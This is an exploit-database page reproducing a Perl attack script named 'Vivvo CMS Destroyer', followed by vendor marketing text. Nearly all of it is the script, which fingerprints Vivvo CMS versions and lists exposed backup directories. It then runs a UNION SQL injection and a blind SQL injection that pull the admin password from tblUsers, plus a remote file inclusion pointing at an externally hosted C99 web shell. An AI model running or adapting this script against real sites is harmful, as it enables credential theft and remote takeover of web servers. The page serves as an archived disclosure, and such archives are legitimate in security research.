Lucene search
K

Vivvo CMS <= 3.4 - Multiple Vulnerabilities Destroyer Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 12 Views

Vivvo CMS Destroyer Exploit for Multiple Vulnerabilitie

Code

                                                #!/usr/bin/perl

#Vivvo CMS Destroyer
#[email protected]
#By Xianur0
#-------------CREDITS-------------
#http://milw0rm.com/exploits/4192
#http://milw0rm.com/exploits/3326
#http://milw0rm.com/exploits/2339
#http://milw0rm.com/exploits/2337
#-------------/CREDITS-------------

print &#34;\n                           Vivvo CMS Destroyer By Xianur0\n&#34;;

#-----------CONFIG----------
$SHELL=&#39;http://y4m15p33dy.vilabol.uol.com.br/c99.txt&#39;;
$textshell = &#39;C99Shell v.&#39;;
#----------/CONFIG----------
  use LWP::UserAgent;
  use Switch;
  my $path = $ARGV[0];
  $path = shift || &uso;
sub uso { print &#34;\nUse: vivvo.pl [URI to Vivvo CMS]\n&#34;; exit;}
  $ua = LWP::UserAgent-&#62;new;
  $ua-&#62;agent(&#34;Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.17&#34;);
  $req = HTTP::Request-&#62;new(GET =&#62; $path.&#34;/feed.php?output_type=rss&#34;);
  $req-&#62;header(&#39;Accept&#39; =&#62; &#39;text/javascript, text/html, application/xml, text/xml, */*&#39;);
  $res = $ua-&#62;request($req);
  if ($res-&#62;is_success && $res-&#62;content =~ &#34;generator&#34;) {
&parser($res-&#62;content);
  } else {
  $req = HTTP::Request-&#62;new(GET =&#62; $path.&#34;/index.php?feed&#34;);
  $req-&#62;header(&#39;Accept&#39; =&#62; &#39;text/javascript, text/html, application/xml, text/xml, */*&#39;);
  $res = $ua-&#62;request($req);
  if ($res-&#62;is_success && $res-&#62;content =~ &#34;generator&#34;) {
&parser($res-&#62;content);
  }
    else { print &#34;\nError getting data!\n&#34;; exit;}
  }

&backups;


sub parser {
my @datos = split(&#39;&#60;generator&#62;Vivvo CMS &#39;, $_[0]);
my @version = split(&#39;&#60;/generator&#62;&#39;, $datos[1]);
$version = $version[0];
if($version[0] == &#34;&#34;) {
my @datos = split(&#39;&#60;meta name=&#34;generator&#34; content=&#34;Vivvo &#39;, $_[0]);
my @version = split(&#39;&#34; /&#62;&#39;, $datos[1]);
$version = $version[0];
}
print &#34;Version: &#34;.$version.&#34;\n&#34;;
if($version &#60; &#34;4&#34;) { print &#34;Outdated version of Vivvo CMS!\n&#34;; &desactualizada($version);}
}

sub backups {
  $req = HTTP::Request-&#62;new(GET =&#62; &#34;$path/backup&#34;);
  $req-&#62;header(&#39;Accept&#39; =&#62; &#39;text/xml&#39;);
  $res = $ua-&#62;request($req);
  if ($res-&#62;is_success) {
if($res-&#62;content =~ &#34;&#60;title&#62;Index of /backup&#60;/title&#62;&#34;) {
print &#34;\n              Backups:\n&#34;;
my @datos = split(&#39;&#60;a href=&#34;&#39;, $res-&#62;content);
$datos[0] = &#34;&#34;;
foreach $archivos (@datos) {
my @archivo = split(&#39;&#34;&#62;&#39;, $archivos);
if($archivo[0] !~ /\?/){print $archivo[0].&#34;\n&#34;; }
}
print &#34;\nUnprotected Directory: $path/backup\n&#34;;
  }
}
}

sub rfi {
$vuln = $_[0];
  $req = HTTP::Request-&#62;new(GET =&#62; &#34;$path/$vuln=$SHELL?&#34;);
  $req-&#62;header(&#39;Accept&#39; =&#62; &#39;text/xml&#39;);
  $res = $ua-&#62;request($req);
  if ($res-&#62;is_success) {
if($res-&#62;content =~ $textshell) {
print &#34;RFI Detected!: $path/$vuln=$SHELL?&#34;;
  }
}}

sub sql {
$exploit = &#34;pdf_version.php?id=-1%20UNION%20SELECT%201,2,3,password,5,6,username,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24%20FROM%20tblUsers%20where%20userid=1&#34;;
  $req = HTTP::Request-&#62;new(GET =&#62; &#34;$path/$exploit&#34;);
  $req-&#62;header(&#39;Accept&#39; =&#62; &#39;text/xml&#39;);
  $res = $ua-&#62;request($req);
  if ($res-&#62;is_success) {
print &#34;SQL Injection Generated: $path$exploit&#34;;
}
}

sub blind {
for($i=1; $i&#60;32;$i++) {
for($o=30; $o&#60;102;$o++) {
$injection = &#34;$path/index.php?category=/**/AND/**/(ascii(substring((SELECT/**/password/**/FROM/**/tblUsers/**/WHERE/**/userid=1),&#34;.$i.&#34;,1))=&#34;.$o;
  $req = HTTP::Request-&#62;new(GET =&#62; $injection);
  $req-&#62;header(&#39;Accept&#39; =&#62; &#39;text/xml&#39;);
  $res = $ua-&#62;request($req);
  if ($res-&#62;is_success) {
if($res-&#62;content != &#34;&#34;) {
print &#34;Blind Done Correctly!: $injection&#34;;
  }
}
}}}

sub desactualizada {
$version = $_[0];
  switch ($version) {
    case &#34;3.4&#34;    { print &#34;Blind SQL Injection trying ....\n&#34;; &blind; print &#34;Intentando RFI....\n&#34;; &rfi(&#39;include/db_conn.php?root&#39;);}
    case &#34;3.2&#34;    { print &#34;RFI trying ....\n&#34;; &rfi(&#39;index.php?classified_path&#39;); print &#34;SQL Injection....\n&#34;; &sql;}
        else { print &#34;There is no registration for this Exploit Version! : (\n&#34;;}
    }
}

# milw0rm.com [2008-10-19]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation